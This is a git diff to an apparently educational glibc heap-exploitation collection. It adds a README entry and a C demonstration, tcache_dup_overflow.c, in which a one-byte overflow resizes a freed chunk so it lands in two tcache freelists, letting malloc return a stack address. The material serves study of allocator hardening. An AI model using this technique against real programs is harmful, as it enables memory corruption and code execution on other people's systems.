diff --git a/README.md b/README.md
index 59bc33a..0ccd764 100644
--- a/README.md
+++ b/README.md
@@ -41,10 +41,11 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
+| [tcache_dup_overflow.c](glibc_2.31/tcache_dup_overflow.c) | | With UAF on a freed tcache chunk and the ability to overwrite the size of the chunk, the chunk could be put back to freelist. | 2.26 - 2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=eff1f680cffb005a5623d1c8a952d095b988d6a2) | |
| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |
| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |
| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | |
-| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | |
+| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.43 | [introduction](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=2bf2188fae1f3e48d12fdd26f56ff6881fd0b316) | |
The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
@@ -162,4 +163,3 @@ There are a couple of "hardening" measures embedded in glibc, like `export MALLO
More info: [mcheck()](http://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html), [mallopt()](http://www.gnu.org/software/libc/manual/html_node/Malloc-Tunable-Parameters.html).
There's also some tracing support as [mtrace()](http://manpages.ubuntu.com/mtrace), [malloc_stats()](http://manpages.ubuntu.com/malloc_stats), [malloc_info()](http://manpages.ubuntu.com/malloc_info), [memusage](http://manpages.ubuntu.com/memusage), and in other functions in this family.
-
diff --git a/glibc_2.31/tcache_dup_overflow.c b/glibc_2.31/tcache_dup_overflow.c
new file mode 100644
index 0000000..ee0d5f2
--- /dev/null
+++ b/glibc_2.31/tcache_dup_overflow.c
@@ -0,0 +1,61 @@
+#include
+#include
+#include
+
+/* * * * * * * * * * * * * * * * * * * * * * * * * * * * *
+ * tcache dup demonstration *
+ * requirements: have a uaf pointer on tcache chunk; *
+ * able to overwrite the size of the chunk;*
+ * you don't need: the ability to overwrite tcache key *
+ * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
+int main(void) {
+ setbuf(stdout, NULL);
+
+ puts("\nStep 1: prepare victim chunk and put some other on freelist");
+ char *overflowp = malloc(0x18);
+ size_t *victim = malloc(0x58);
+ size_t *on_chain = malloc(0x58);
+ free(on_chain);
+ printf("overflow = %p\n", overflowp);
+ printf("victim@0x61 = %p\n", victim);
+ puts("Another chunk freed");
+
+ puts("\nStep 2: overwrite the size of victim to put it in two freelists");
+ /* VULNERABILITY */
+ // assume you have one byte overflow
+ puts("Trick free that victim is 0x31 in size");
+ overflowp[0x18] = 0x31;
+ free(victim);
+ puts("Then set size back to 0x61");
+ overflowp[0x18] = 0x61;
+ free(victim);
+ /* VULNERABILITY */
+
+ printf("victim->fd = %#lx\n", *victim);
+ printf("Should be previously freed chunk %p\n", on_chain);
+
+ size_t some_var = 0;
+ puts("\nStep 3: allocate back victim@0x31 to modify fd to stack var");
+ printf("some_var = %#lx\n", some_var);
+ size_t *victim_0x31 = malloc(0x28);
+ printf("victim_0x31 = %p\n", victim_0x31);
+ *victim_0x31 = (size_t)&some_var;
+ printf("*victim_0x31 = %p\n", &some_var);
+
+ puts("\nStep 4: allocate twice victim@0x61 to get access to stack var");
+ size_t *victim_0x61 = malloc(0x58);
+ printf("victim_0x61 = %p\n", victim_0x61);
+ size_t *ptr = malloc(0x58);
+ printf("Finally we got %p, set it to 0x1337\n", ptr);
+ *ptr = 0x1337;
+ printf("some_var = %#lx\n", some_var);
+
+ return 0;
+
+ /* credit: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=eff1f680cffb005a5623d1c8a952d095b988d6a2
+ *
+ * Reason of this hack: the double free check on tcache only examine the freelist
+ * for the exact size of the chunk we freed. By resetting the size of the chunk,
+ * we cheat glibc that the chunk is not freed yet, so we can free it in two freelists.
+ */
+}